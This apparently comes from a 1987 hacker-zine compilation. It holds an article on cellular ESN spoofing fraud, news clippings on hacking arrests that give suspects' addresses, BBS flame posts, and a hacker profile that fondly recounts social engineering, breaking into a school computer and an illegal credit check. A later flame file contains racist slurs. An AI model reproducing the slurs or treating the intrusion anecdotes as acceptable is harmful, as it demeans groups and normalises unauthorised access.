+              THE ELECTRONIC SERIAL NUMBER: A CELLULAR 'SIEVE'?
+                  'SPOOFERS' CAN DEFRAUD USERS AND CARRIERS
+
+    by Geoffrey S. Goodfellow, Robert N. Jesse, and Andrew H. Lamothe, Jr.
+
+
+What's the greatest security problem with cellular phones? Is it privacy of
+communications?  No.
+
+Although privacy is a concern, it will pale beside an even greater problem:
+spoofing.
+
+'Spoofing' is the process through which an agent (the 'spoofer') pretends to
+be somebody he isn't by proffering false identification, usually with intent
+to defraud.  This deception, which cannot be protected against using the
+current U.S. cellular standards, has the potential to create a serious
+problem--unless the industry takes steps to correct some loopholes in the
+present cellular standards.
+
+Compared to spoofing, the common security concern of privacy is not so severe.
+Most cellular subscribers would, at worst, be irked by having their
+conversational privacy violated.  A smaller number of users might actually
+suffer business or personal harm if their confidential exchanges were
+compromised.  For them, voice encryption equipment is becoming increasingly
+available if they are willing to pay the price for it.
+
+Thus, even though technology is available now to prevent an interloper from
+overhearing sensitive conversations, cellular systems cannot--at any
+cost--prevent pirates from charging calls to any account. This predicament is
+not new to the industry.  Even though cellular provides a modern,
+sophisticated quality mobile communications service, it is not fundamentally
+much safer than older forms of mobile telephony.
+
+History of Spoofing Vulnerability
+
+The earliest form of mobile telephony, unsquelched manual Mobile Telephone
+Service (MTS), was vulnerable to interception and eavesdropping.  To place a
+call, the user listened for a free channel.  When he found one, he would key
+his microphone to ask for service: 'Operator, this is Mobile 1234; may I
+please have 555-7890.'  The operator knew to submit a billing ticket for
+account number 1234 to pay for the call.  So did anybody else listening to the
+channel--hence the potential for spoofing and fraud.
+
+Squelched channel MTS hid the problem only slightly because users ordinarily
+didn't overhear channels being used by other parties.  Fraud was still easy
+for those who turned off the squelch long enough to overhear account numbers.
+
+Direct-dial mobile telephone services such as Improved Mobile Telephone
+Service (IMTS) obscured the problem a bit more because subscriber
+identification was made automatically rather than by spoken exchange between
+caller and operator.  Each time a user originated a call, the mobile telephone
+transmitted its identification number to the serving base station using some
+form of Audio Frequency Shift Keying (AFSK), which was not so easy for
+eavesdroppers to understand.
+
+Committing fraud under IMTS required modification of the mobile--restrapping
+of jumpers in the radio unit, or operating magic keyboard combinations in
+later units--to reprogram the unit to transmit an unauthorized identification
+number. Some mobile control heads even had convenient thumb wheel switches
+installed on them to facilitate easy and frequent ANI (Automatic Number
+Identification) changes.
+
+Cellular Evolution
+
+Cellular has evolved considerably from these previous systems.  Signaling
+between mobile and base stations uses high-speed digital techniques and
+involves many different types of digital messages.  As before, the cellular
+phone contains its own Mobile Identification Number (MIN), which is programmed
+by the seller or service shop and can be changed when, for example, the phones
+sold to a new user.  In addition, the U.S. cellular standard incorporates a
+second number, the 'Electronic Serial Number' (ESN), which is intended to
+uniquely and permanently identify the mobile unit.
+
+According to the Electronic Industries Association (EIA) Interim Standard
+IS-3-B, Cellular System Mobile Station--Land Station Compatibility
+Specification (July 1984), 'The serial number is a 32-bit binary number that
+uniquely identifies a mobile station to any cellular system.  It must be
+factory-set and not readily alterable in the field.  The circuitry that
+provides the serial number must be isolated from fraudulent contact and
+tampering.  Attempts to change the serial number circuitry should render the
+mobile station inoperative.'
+
+The ESN was intended to solve two problems the industry observed with its
+older systems.
+
+First, the number of subscribers that older systems could support fell far
+short of the demand in some areas, leading groups of users to share a single
+mobile number (fraudulently) by setting several phones to send the same
+identification.  Carriers lost individual user accountability and their means
+of predicting and controlling traffic on their systems.
+
+Second, systems had no way of automatically detecting use of stolen equipment
+because thieves could easily change the transmitted identification.
+
+In theory, the required properties of the ESN allow cellular systems to check
+to ensure that only the correctly registered unit uses a particular MIN, and
+the ESNs of stolen units can be permanently denied service ('hot-listed').
+This measure is an improvement over the older systems, but vulnerabilities
+remain.
+
+Ease of ESN Tampering
+
+Although the concept of the unalterable ESN is laudable in theory, weaknesses
+are apparent in practice.  Many cellular phones are not constructed so that
+'attempts to change the serial number circuitry renders the mobile station
+inoperative.'  We have personally witnessed the trivial swapping of one ESN
+chip for another in a unit that functioned flawlessly after the switch was
+made.
+
+Where can ESN chips be obtained to perform such a swap?  We know of one recent
+case in the Washington, D.C. area in which an ESN was 'bought' from a local
+service shop employee in exchange for one-half gram of cocaine.  Making the
+matter simpler, most manufacturers are using industry standard Read-Only
+Memory (ROM) chips for their ESNs, which are easily bought and programmed or
+copied.
+
+Similarly, in the spirit of research, a west coast cellular carrier copied the
+ESN from one manufacturer's unit to another one of the same type and
+model--thus creating two units with the exact same identity.
+
+The ESN Bulletin Board
+
+For many phones, ESN chips are easy to obtain, program, and install.  How does
+a potential bootlegger know which numbers to use?  Remember that to obtain
+service from a system, a cellular unit must transmit a valid MIN (telephone
+number) and (usually) the corresponding serial number stored in the cellular
+switch's database.
+
+With the right equipment, the ESN/MIN pair can be read right off the air
+because the mobile transmits it each time it originates a call.  Service shops
+can capture this information using test gear that automatically receives and
+decodes the reverse, or mobile-to-base, channels.
+
+Service shops keep ESN/MIN records on file for units they have sold or
+serviced, and the carriers also have these data on all of their subscribers.
+Unscrupulous employees could compromise the security of their customers'
+telephones.
+
+In many ways, we predict that 'trade' in compromised ESN/MIN pairs will
+resemble what currently transpires in the long distance telephone business
+with AT&T credit card numbers and alternate long-distance carrier (such as
+MCI, Sprint and Alltel) account codes.  Code numbers are swapped among
+friends, published on computer 'bulletin boards' and trafficked by career
+criminal enterprises.
+
+Users whose accounts are being defrauded might--or might not--eventually
+notice higher-than-expected bills and be reassigned new numbers when they
+complain to the carrier.  Just as in the long distance business, however, this
+number 'turnover' (deactivation) won't happen quickly enough to make abuse
+unprofitable.  Catching pirates in the act will be even tougher than it is in
+the wireline telephone industry because of the inherent mobility of mobile
+radio.
+
+Automating Fraud
+
+Computer hobbyists and electronics enthusiasts are clever people.  Why should
+a cellular service thief 'burn ROMs' and muck with hardware just to install
+new IDs in his radio?  No Herculean technology is required to 'hack' a phone
+to allow ESN/MIN programming from a keyboard, much like the IMTS phone thumb
+wheel switches described above.
+
+Those not so technically inclined may be able to turn to mail-order
+entrepreneurs who will offer modification kits for cellular fraud, much as
+some now sell telephone toll fraud equipment and pay-TV decoders.
+
+At least one manufacturer is already offering units with keyboard-programmable
+MINs.  While intended only for the convenience of dealers and service shops,
+and thus not described in customer documentation, knowledgeable and/or
+determined end users will likely learn the incantations required to operate
+the feature.  Of course this does not permit ESN modification, but easy MIN
+reprogrammability alone creates a tremendous liability in today's roaming
+environment.
+
+The Rolls Royce of this iniquitous pastime might be a 'Cellular Cache-Box.' It
+would monitor reverse setup channels and snarf ESN/MIN pairs off the air,
+keeping a list in memory.  Its owner could place calls as on any other
+cellphone.  The Cache-Box would automatically select an ESN/MIN pair from its
+catalog, use it once and then discard it, thus distributing its fraud over
+many accounts.  Neither customer nor service provider is likely to detect the
+abuse, much less catch the perpetrator.
+
+As the history of the computer industry shows, it is not far-fetched to
+predict explosive growth in telecommunications and cellular that will bring
+equipment prices within reach of many experimenters.  Already we have seen the
+appearance of first-generation cellular phones on the used market, and new
+units can be purchased for well under $1000 in many markets.
+
+How High The Loss?
+
+Subscribers who incur fraudulent charges on their bills certainly can't be
+expected to pay them.  How much will fraud cost the carrier?  If the charge is
+for home-system airtime only, the marginal cost to the carrier of providing
+that service is not as high as if toll charges are involved.  In the case of
+toll charges, the carrier suffers a direct cash loss.  The situation is at its
+worst when the spoofer pretends to be a roaming user.  Most inter-carrier
+roaming agreements to date make the user's home carrier (real or spoofed)
+responsible for charges, who would then be out hard cash for toll and airtime
+charges.
+
+We have not attempted to predict the dollar losses this chicanery might
+generate because there isn't enough factual information information for anyone
+to guess responsibly.  Examination of current estimates of long-distance-toll
+fraud should convince the skeptic.
+
+Solutions
+
+The problems we have described are basically of two types.  First, the ESN
+circuitry in most current mobiles is not tamper-resistant, much less
+tamper-proof.  Second and more importantly, the determined perpetrator has
+complete access to all information necessary for spoofing by listening to the
+radio emissions from valid mobiles because the identification information
+(ESN/MIN) is not encrypted and remains the same with each transmission.
+
+Manufacturers can mitigate the first problem by constructing mobiles that more
+realistically conform to the EIA requirements quoted above.  The second
+problem is not beyond solution with current technology, either.  Well-known
+encryption techniques would allow mobiles to identify themselves to the
+serving cellular system without transmitting the same digital bit stream each
+time.  Under this arrangement, an interloper receiving one transmission could
+not just retransmit the same pattern and have it work a second time.
+
+An ancillary benefit of encryption is that it would reasonably protect
+communications intelligence--the digital portion of each transaction that
+identifies who is calling whom when.
+
+The drawback to any such solution is that it requires some re-engineering in
+the Mobile-Land Station Compatibility Specification, and thus new software or
+hardware for both mobiles and base stations.  The complex logistics of
+establishing a new standard, implementing it, and retrofitting as much of the
+current hardware as possible certainly presents a tough obstacle, complicated
+by the need to continue supporting the non-encrypted protocol during a
+transition period, possibly forever.
+
+The necessity of solving the problem will, however, become apparent.  While we
+presently know of no documented cases of cellular fraud, the vulnerability of
+the current standards and experience with similar technologies lead us to
+conclude that it is inevitable.  Failure to take decisive steps promptly will
+expose the industry to a far more expensive dilemma.  XXX

+Hackers Caught Using Credit Card To Buy More Equipment       February 20, 1987
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+By Ben L. Kaufman of The Cincinnati Enquirer
+
+                       "I was uneasy about the pickup."
+
+Two young "hackers" in Milford using an electronic bulletin board to get
+stolen credit card numbers and buy hardware to expand their computers.  Now
+they're in big trouble because unauthorized use of a credit card is a federal
+offense and the Secret Service caught them.  "Computer-aided credit card fraud
+is increasingly common, said special agent in charge, James T. Christian on
+Tuesday, "but using the filched name and number to enhance computer clout was
+a unique touch."
+
+The two youths had a $1,300 order sent to an abandoned house on Ohio 131E,
+Christian said, but when they picked it up an agent was waiting with the UPS
+deliveryman.
+
+John Martin Howard, 21, 5788 Meadowview Drive, Milford was cited before U.S.
+magistrate J. Vincent Aug Jr., who accepted his plead to guilty Monday and
+released him on his promise to return when summoned.
+
+"I was uneasy about the pickup," Howard recalled in a telephone interview. The
+risk of getting caught "was in the back of my mind."  And it was an awful
+moment when the Secret Service agent confronted him and his juvenile buddy,
+Howard added.  "I think they were surprised," Christian said.  Howard was
+charged with attempted use of an unauthorized credit card.  His juvenile
+partner -- who refused to comment Tuesday -- was turned over to his parents.
+
+Christian said the youths ordered equipment from Computer-Ability in suburban
+Milwaukee paying with the stolen credit card.  A sharp-eyed store employee
+noted purchases on that credit card were coming in from all over the country
+and called the Secret Service.  Within two weeks the trap in Milford was set.
+
+Howard said his young friend knew the Cincinnatian who led them to the
+bulletin board filled with the names and the numbers of stolen credit cards.
+"We got it from somebody who got it from somebody who got it from somebody on
+the east coast," Howard recalled.  That new acquaintance also boasted of using
+stolen card numbers from electronic bulletin boards to buy expensive
+accessories and reselling them locally at bargain process.
+
+He and his friend used the stolen credit card to upgrade his Atari 800 system,
+Howard said.  "We ordered a bunch of hardware to use with it."  In addition to
+the purchase that drew the secret service to them, Howard said they "ordered
+other stuff, but before we received anything, we were picked up."  Howard said
+he'd had the Atari about two years and was getting bored with it and home
+computers in general.
+
+He had taken computer programming for eight months after high school, he said,
+but hadn't used it.  He would like to try computer-aided design and
+engineering, but right now, he's working in a pizza parlor.  Christian said
+Howard's parents had been enthusiastic about his computer interests and
+friends who shared them.  "They though it would keep them out of trouble."
+
+Assistant U.S. attorney Kathleen Brinkman and Christian said the Cincinnati
+area investigation was continuing and numerous juveniles, some quite young,
+may be involved.

+Hang On...  Phone Rates Are Falling Again!                          March 1987
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+>From Changing Times Magazine March 1987 Issue
+
+No news that long-distance rates are still headed down, but now local rates
+are poised to follow, at least in some areas.
+
+Competing long-distance carriers have already been forced to react to AT&T's
+January rate cut, which averaged 11.2%, with cuts of their own.  Now the
+Federal Communications Commission [FCC] may propose that an additional $1 or
+$2 be added to the subscribers line charge, the $2-a-month access charge that
+every residential customer pays.  If that happens it would compensate.
+
+Since AT&T's divestiture in January 1984, the telephone services component of
+the consumer price index has risen 17.4%, reflecting a 36.7% increase in local
+rates at the same time long-distance charges were falling.  But price
+increases for overall service have moderated each year, falling 2.7% in 1986
+from 4.7% in 1985 and 9.2% in 1984.  That trend should continue as local rates
+stabilize and even fall.  Wisconsin and Vermont, for example, have ordered
+local companies to make refunds, and a number of states - New York,
+Pennsylvania, Washington - are considering lowering rates to reflect the
+improved financial position of local phone companies.  Those companies will
+benefit from tax reform, and lower inflation and interest rates have resulted
+in lower expenses in several other areas.
+
+Things are not looking good for some of AT&T's competitors in the long
+distance business, however.  Forced to follow AT&T's rate cuts, both MCI and
+US Sprint are hard-pressed financially, and analysts don't rule out the
+possibility that one or both could get out of the long-distance business,
+potentially leaving AT&T a monopoly again.  But that would be "politically
+unacceptable," says analyst Charles Nichols of E.F. Hutton.  Some
+alternatives:  allowing regional phone companies to enter the long-distance
+business or allowing AT&T to keep more of the profits it earns from increased
+efficiency instead of forcing the company to cut rates.  That would take some
+pressure off competitors.

+Police Arrest Computer "Hacker" Suspect                         March 15, 1987
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+>From the St. Louis Post-Dispatch
+
+   "MCI told police it was losing $2.7 million a month to such 'hackers.'"
+
+A computer software engineer [Robert Wong] has been arrested at his home in
+Maryland Heights, Missouri on suspicion of trying to get into the computer
+system of MCI Telecommunications Corporation.
+
+The case is the fourth in this area involving computer "hackers" who have
+tried in recent months to get into MCI's computer system, police say.
+
+Detective John Wachter of the Maryland Heights Police Department said the
+department would seek a warrant today charging the suspect with "tampering
+with computer users," a felony.
+
+The charge is being sought under a state law enacted last year to deal with
+hackers - people who try illegally to tap into other computer systems.
+
+The suspect is Robert Wong, 23, of the 2000 block of Maverick Drive, Maryland
+Heights, Missouri. Police tracked down Wong by a court-sanctioned "trap" on
+his phone after MCI learned that someone was trying to tap into its
+long-distance lines.
+
+In a written statement to police, Wong said he "came across" MCI's programs
+and access codes.  He said he was "amazed" when he got into the system. "I
+know it was illegal, but the urge of experimenting was too great," he told
+police.

+------------------------------------------------------------------------------
+Telecommunications giant AT&T is lying in its advertisements that claim it has
+an exclusive toll-free number for foreign clients to reach U.S. businesses,
+its competitor says in a lawsuit.
+
+Worldwide 800 Services Inc. says that it has filed suit against AT&T with the
+FCC, charging AT&T with false advertising.  The ads by AT&T claim that it can
+provide a global telephone network that would allow clients in foreign
+countries to call a toll-free number to reach businesses in the United States.
+AT&T claimed that "You won't find this type of service anywhere else."
+
+Worldwide 800 says that their company provides toll-free service from any
+foreign city to the U.S., whereas AT&T can only provide toll-free service on a
+countrywide basis.  An AT&T spokeswoman denied all of the charges, stating
+that the advertisement in question was neither fraudulent or deceptive.  If
+Worldwide 800 Services wins the case, they state that they will demand
+corrective advertising and seek monetary damages.

+~~~~~~~~~~~~~~
+>From Time Magazine; reprinted in the February 1987 Issue of CO Magazine
+
+While Oral Roberts struggles with budgets, fundamentalist preacher Jerry
+Falwell faces a different kind of money pinch.  The Lynchburg, VA,
+televangelist has long used toll-free phone numbers to assist viewers seeking
+spiritual help.
+
+For many months Falwell foes, aware that each phone-in cost $1, have purposely
+clogged his lines.  An Atlantan programmed his computer to dial Falwell every
+30 seconds.  Before Southern Bell stepped in, the stunt cost Falwell $750,000.

+Voice numbers:  Are They Really Necessary?                      March 5, 1987
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+A recent series of events on ShadowSpawn BBS has attracted much attention in
+the hack/phreak community.  It seems that the sysop, The Psychic Warlord,
+denied access to Lex Luthor, Kerrang Khan, and Silver Spy because of their
+failure to leave valid voice phone numbers.  The following messages have been
+taken from ShadowSpawn BBS.  [Some posts have been re-formatted].

+32/50: This board...
+Name: The Psychic Warlord #1
+Date: 6:36 pm  Thu Feb 26, 1987
+
+    Alright goddamn it, I'm so fucking pissed off that I'm just about ready to
+say Fuck It and take down the board for good.  Why?  Seems that few people are
+happy with the way I run this board.  No, not really with the way I run it,
+but more like the way I choose to validate my users.  Ok, fine...  You don't
+like it then get the fuck out and quit complaining.
+
+    I set certain rules that people have to abide by to get access to this
+board.  Very simple fucking rules.  And now I'm finding out that people don't
+want to abide by these rules, and basically tell me I'm fucked in the head for
+having and going by them.  What rules?  For one thing, and this is the major
+bitch-point here, new users (no matter WHO THE FUCK they are) are *REQUIRED*
+to leave a valid voice number where I or Ctrl can reach them at for
+validation.  No big fucking deal...  Just a goddamn phone number.
+
+    "Oh, but I can't give you my voice number.  I'm a hacker, and I do untold
+amounts of illegal things and I can't risk my number getting out."  Riiight.
+Like I'm really some fucking Fed who's gonna bust yer ass, or some geek who
+gives out peoples phone numbers to any-fucking-body who asks.  BULLSHIT!
+
+    I'm the Sysop of a (hopefully) respected BBS, and along with that goes a
+certain responsibility.  I'm not about to go passing out peoples numbers.  *I*
+have respect for other hackers privacy, unlike some people who choose to
+invade mine just for the fucking hell of it.  I require that new users leave
+their voice numbers for a number of GOOD reasons:
+
+1) Trust -- If they can trust me with their voice numbers, then I can trust
+            them with access to my board.  I need that kind of trust between
+            me and my users.  If they feel that they can't trust me enough to
+            give me a lousy phone number, then how in God's name am I supposed
+            to be expected to trust them at all??  My ass is on the line just
+            as much (if not more) than any user of this board!
+
+2) Security -- Ok...  So how do I know if someone is really a Fed or not?  I
+               don't!  I go by instinct.  Having a person's voice number let's
+               me call them for validation and get to know them a helluva lot
+               better than I could through e-mail.  Plus, if suspicion ever
+               arose about a user of my board being a Fed or not, how could I
+               check this out?  If I don't have their voice number, I have no
+               leads as to where to find or who the fuck this person really
+               is. Now I don't go checking everyone on the board via the
+               numbers they give me.  I have NEVER had to do that for ANY
+               user, but the possibility is there.  And rather than throw a
+               possibly innocent person off the board merely on a hunch, we
+               might be able to prove whether or not it's true.  This is
+               extremely hypothetical, but like I said...  the possibility is
+               there.
+
+   Ok, so why the hell should I have to require that established people, like
+Lex Luthor and Silver Spy, leave valid voice numbers?  Is it fair to the other
+users?  Hell no.  If I required only certain people to give me their numbers,
+then what does that do to their trust in me??  It's like me saying, "Well, I
+don't trust you...  I don't know you that well.  You have to sacrifice more
+than these guys to get access."  That's BULLSHIT, and I'm not about to do it.
+If one person is required to give a valid voice number, then every damn user
+is required to!
+
+   I've been getting a lot of shit the past couple days because I've denied
+access to some very well known and respected people in the hack/phreak world.
+Namely Lex Luthor, Silver Spy, and Kerrang Khan.  I denied all of them access
+because they all refused to leave a voice number.  Fine.  Then they don't get
+access.  Ctrl [Ctrl-C is a cosysop on ShadowSpawn] said I was crazy.  Taran
+said pretty much the same.  Taran also tried to get me to change my mind...
+to condescend, or go against what I believe in and how I believe this board
+should be run.  He (Taran) said that by my denying Lex and the others access
+that I would be hurting this board more than helping it.  ***I DON'T GIVE A
+DAMN***
+
+   I'm not impressed in the least with any of those peoples reputations.  I
+never have been a "groupie" and I'm not about to start now.  Whether or not
+they are good or not isn't the issue here, and some people don't seem to
+realize that.  Yes, Lex is good.  He's well known.  He's even a nice guy...
+I've talked to him before and personally I like him.  But I don't play
+favorites for anyone.  Not Lex, not Silver Spy, and not Kerrang Khan.  Nobody.
+
+   What really pissed me off, and I should have told Taran that I resented it
+at the time, is that TK said that apparently this board is "elite".  That I
+consider this board to be too good.  Personally I think this fucking board is
+overrated, and yes Taran...  I resented that remark.  I can't remember exactly
+what he said, but it was something like, "In your logon message you have
+'We're not ELITE, we're just cool as hell,' but apparently you ARE elite."
+
+   This board isn't "elite" and if I come off seeing that way sometimes, it's
+only because people are getting half the picture of what I'm doing.
+
+    Ok, so I deny Lex Luthor access to this board.  That's all you people seem
+to think about.  The actual denying of access.  You think, "How can he do
+that?!  What gall!  He must be a real egotistic bastard to think that Lex
+Luthor isn't good enough to be on this board!"  If you think that, and most of
+you have thought only that, then you're fucked in the head.
+
+   Yes, I realize who these people are!  Yes I know their reputations and how
+they are renowned for their skills as hackers and phreakers...  But like I
+said before, that's not the issue.  It never was.  I *KNOW* how good these
+people are.  I *KNOW* about their reputations and I respect them for it, but I
+don't care.  That's not why they've been denied access!
+
+   When I deny someone access to this board it's usually for one of two
+reasons;
+
+1) They left a false voice number  or
+2) They either blew off or left really crappy answers to the filter.
+
+    Personally I'd be thrilled to have Lex or Silver Spy on the board... and
+any of a number of people.  But these people can't find it in themselves to
+trust me. If they can't trust me, then I can't trust them.  It's as simple as
+that.
+
+   I'm not about to let anyone on this board that I can't trust.  It's not
+fair to the other users, and it's damn stupid of me.  I run this board the
+best way I know how.  I do what I do in respect to new user validations
+because it's the best way, through trial and error, that I have found to
+handle it.  If people can't respect the way in which I choose to run my board
+then I'd appreciate it if they never called.  And when regular users of my
+board start questioning the way I do thing, and telling me that I'm WRONG for
+doing things the way I believe they should be done, then I really start to
+wonder what the fuck I'm doing it for at all.  I'm not a quitter, and I don't
+like the idea of giving up and taking down the board.  I'm going to run this
+board the way I think is best, and I'm not about to conform to what other
+people think I should do.
+
+   I've probably stepped on some toes and offended some people with this, but
+that's just too damn bad.  I hate fighting the topic but I'll fight it if I
+have to.

+37/50: Take a fucking valium
+Name: Taran King #45
+Date: 9:02 am  Sat Feb 28, 1987
+
+You're known for an explosive temper, PW as well as sometimes being extremely
+irrational.  My policy is to let people on the my board with voice numbers
+only.  Through the history, I've made maybe 5 exceptions.  Some of 'em include
+Lex, Spy (at first), Tabas, Videosmith, and Phucked Agent 04.  Now, I never
+got anything out of PA04 because he got a "call" soon after he got on the
+board, but the rest of the members have contributed extremely well to the
+board.  I just made sure I knew it was really them by referencing and cross
+referencing.
+
+If your morals are that unbendable, PW, then you need to relook at the purpose
+of this board.  If it's to spread phreak/hack knowledge as you said on the
+phone, then to have those people on with the experience that they have would
+hardly hinder the board.  I seriously doubt anyone would feel offended if any
+of the forementioned people got on here without leaving a valid voice number,
+being that they're not on any other board with a voice number.
+
+I know that Lex is not giving out his number to even the best of his
+friends.  Spy is really careful about it these days.  Not so sure about
+Kerrang but he's travelling about now so he's not in one place for too long
+nowadays.  It's your board and I was trying to give you some constructive
+criticism, but you took it the wrong way.  You don't have to claim you're
+ELITE to be elite.  Elite merely means that you've got the respected members
+of the community on board.  Well, you've got 'em.  If you don't like it, I
+suggest you go through and purge the log like a big dog.  Actually, fuck it.
+I'm tired of getting into arguments for trying to help someone.  Feel free to
+delete my account if you feel that I've not contributed enough information to
+the board, or if you've rethought the purpose and decide that it's not for
+what I've contributed, dump me.  Fuck dis

+
+44/50: Well...
+Name: The Psychic Warlord #1
+Date: 4:57 pm  Sun Mar 01, 1987
+
+   I'm glad that some people agree with me on this.  I can understand Lex's
+point of view, too.  I can also remember a time when I myself refrained from
+giving my number to any sysops.  But...  I've changed my point of view
+considerably after living the Sysop life for well over 1.5 years.  Now if I
+ever wanted access to a board, and the Sysop of that board asked for my voice
+number, I'd give it to him.
+
+   I've given Lex access to this message base for a short period of time so
+that he can check out the discussion.  He called me voice the other day and we
+talked for a while about this whole biz.  I'd like him, and Spy, on the board,
+and possibly they'll change their minds.  If not, that's cool.  I'm just going
+to let the whole thing kind of slide from here on out.  If they change their
+minds, great...  Well, Adios.

+
+Kerrang Khan, when notified that he must leave a voice number, said "there is
+no reason Psychic Warlord would need any user's phone number."  He also stated
+that the fact that PW insisted on voice numbers was very "suspicious."
+
+Silver Spy, when notified that he must leave a voice number, never bothered
+calling again.
+
+Lex understood the whole situation and remained cool.  He said he could see
+why a sysop would need voice numbers of his users.  Lex was worried about the
+board he left it on getting busted and the authorities getting his number.  So
+PW, in response to this deleted all users phone numbers from the board and
+encrypted them in a hidden sub-directory.  Now the numbers are there only and
+are totally hidden.

+                            ~~~~~~~~~~~~~~~~~~~~~
+
+         Agrajag was popular on many boards and hung out with many of the
+stronger names in the phreak/hack community.
+------------------------------------------------------------------------------

+           Call him: Keith
+       Past handles: None
+      Handle origin: Fictional character in Hitchhiker Trilogy
+      Date of Birth: 6/14/67
+Age at current date: 19 years old
+             Height: 6'2"
+             Weight: 139 lbs.
+          Eye color: Brown

+          Computers: TRS Model III, worked his way up to a TVI 950 Dumb
+                     Terminal
+
+------------------------------------------------------------------------------
+         Agrajag started phreaking and hacking in about 1979 through the help
+of some friends of his.  He originally started hacking (programming) on a
+Vector 8080 in 4th grade.  His instructor then is now one of the top 5
+computer instructors. Phreaking began with, of course, codes but he was very
+interested in how the phone system worked.  He had read some books on the
+phone company and their evils in their earlier days and he was very interested
+in the very idea of becoming an operator.  Members of the elite world which he
+has met include Tuc, BIOC Agent 003, Broadway Hacker (negative), and Cheshire
+Catalyst, all at a Tap meeting he attended.  On regular BBSes, there were
+listings for other BBSes which turned out to eventually be phreak BBSes.  Some
+of the memorable phreak boards he was on included WOPR, OSUNY, Plovernet, and
+Pirate 80.  His phreaking and hacking knowledge came about with the group of
+people including Tuc, BIOC, and Karl Marx.
+
+         Agrajag was a video game programmer for the last American owned video
+game manufacturer, Cinematronix, Inc. (of Dragon's Lair, Space Ace, World
+Series, and Danger Zone fame, of which he helped with World Series and a big
+part of Danger Zone) which went bankrupt a bit over a month ago.
+
+         Agrajag takes interviews for magazines (such as this) which keeps up
+his phreak/hack activity.  He (and a bunch of others) were written up in a USA
+Today article as well as being interviewed by a local paper when The Cracker
+(Bill Landreth) got busted (they took pictures of the back of his head in
+front of his computer).
+
+         Agrajag was never in any major phreak groups except for The
+Hitchhikers (Bring your towel!) which was just a group of local friends.
+
+------------------------------------------------------------------------------
+
+        Interests: Telecommunications (modeming, phreaking, hacking,
+                   programming), music, concerts, club hopping, and video
+                   games.
+
+Agrajag's Favorite Thing
+------------------------
+
+       Club/Bar hopping: Tijuanna (TJ)
+
+Most Memorable Experiences
+--------------------------
+
+Going officing.  Tuc, BIOC, and he were let into a local CO and they used
+          their copying machine to make copies of their manuals.  They
+          replaced the paper [over 2 reams] later and didn't steal anything
+          major besides the paper and a few NY Bell signs.
+Called supervisors saying that they had witnessed some trunks red-lighting and
+          there would be severe problems if they didn't contact this guy,
+          Abbot Went, in San Francisco.  There were about 10 supervisors in
+          mass hysteria (on Thanksgiving) wondering what to do.  Later, they
+          called up Abbot again saying they were the White House switch and
+          said some kids were fooling around.
+Breaking into his school's computer in his senior year mid-semester.  He had
+          scanned it out on a school prefix and the login and password was the
+          name of his school.  It was a TOPS-20 system and he was well enough
+          versed in TOPS-20 to know what to do.  The next day, he told the
+          vice-principal that he had broken into the computer and that they
+          had some major security problems.  They said he was bullshitting and
+          he told them to read their mail.  Then, later, he brought in his
+          equipment and showed them with the principal there.  He was
+          threatened by the principal with police, etc. but he told them to go
+          to hell.  He was later offered a job helping the security on the
+          system but instead, he told them how they could solve the security
+          problem and didn't take the job.
+Agrajag's teacher asking him to do a credit check on someone illegally.  He
+          eventually did part of it, but the teacher was an asshole so he
+          didn't give all the information to him.
+Getting flown to the Tap meeting by a friend.
+
+Some People to Mention
+----------------------
+
+Tuc
+BIOC Agent 003
+Karl Marx
+Automatic Jack
+
+All for being friends and all around good people and phreaks.
+
+------------------------------------------------------------------------------
+
+         Agrajag is out and out against the idea of the destruction of data.
+He hated a person intensely because they posted private lines with
+instructions on how to maim a system owned by someone who was already hated.
+He deleted the message (he was co-sysop) and it became a bit controversial.
+He hated that then and still has no respect for anyone who does this.  Where
+have all the good times gone?
+
+------------------------------------------------------------------------------
+
+I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming
+in the near future.  ...And now for the regularly taken poll from all
+interviewees.
+
+Of the general population of phreaks you have met, would you consider most
+phreaks, if any, to be computer geeks?  The general populus, yes, but good
+phreaks, no.  Thank you for your time, Agrajag.

+Introduction:
+------------
+This file was not written with the intention of being cute, funny or to tell
+fellow phreaks and hacks how lame or stupid they are.  It was written to open
+the eyes of these idiots to see what the REAL story is.
+
+The Executioner/Mikey
+---------------------
+I'm am sure the majority of you have heard of "Exy."  His claim to fame is
+simply telling people how lame they are or how great and sexy he is.  He also
+claims to be wealthy and that Phreak Klass 2600 is the best bulletin board on
+this side of the galaxy.  Let us examine some key events.
+
+When Metal Shop Private was up, Mr. Sexy Exy (oh and I doubt he really is),
+proceeded to rag on everyone on the system with the exception of a few that he
+ass-kissed.  He then turns around when Phreak Klass 2600 (and I am in no way
+ragging on Phreak Klass) goes up, to ask everyone he has annoyed for over 2
+months and badgers them to call.  Now, Mike, I seriously doubt you are as sexy
+as you claim for several reasons.  Just by the nature of your attitude, the
+way you think you are powerful because you can "tell" people about their lives
+and families when you yourself are a Chinese bastard who has an unemployed
+father that can barely speak the English language.
+
+                       "Miko ith no heeahh riiitte nao"
+                        (Michael is no here right now)
+
+You have ragged on Arthur Dent when you know that you will NEVER receive the
+admiration or stature whether it be socially or economically he has attained.
+You have ragged on Dr. Doom when he has achieved more than you can ever hope
+for.  You only commenced to rag on him when he turned down your offer to join
+PhoneLine Phantoms.  This is because he refused to be associated with an
+asshole like you.  You continually show signs of immaturity (I am not saying I
+am perfect) by poking fun at other people's races (blacks, spics, Iranians)
+when you yourself are nothing but a rice dick.
+
+You bad mouth people but, when you need their help you beg for it and ask them
+to be cool.  You write stupid poems and rhymes about people when they are a
+TOTAL misrepresentation of facts.  You claim Dr. Doom is so ugly he could
+never leave his room.  Tell me, have you ever met Dr. Doom?  Isn't it true
+that you ragged on him only because he didn't want anything to do with you,
+your group, and your image?
+
+Are you going to rag on me now and prove all the points I have brought out?  I
+think so.  You ragged on me, telling me my family receives government cheese
+handouts and telling me what a loser I am when you yourself have never met me
+or bothered to seek the real facts.  You then proceeded to badger me to join
+your new "legion of queers," The Network Technicians telling me how cool it
+would be and begging me to help you learn.  But don't I receive government
+cheese handouts?  Aren't I such a loser?  Mr. Solid State trusted you and
+joined PLP.  He thought nothing bad of you at the time.  He just considered

+
+
+  The DMS switching system, is a lot smaller than normal systems. It takes up
+less than 16% of the space for the same number of Step-By-Step (SXS) lines and
+20% of cross bar.  This is done by taking the hardware out of the CO and
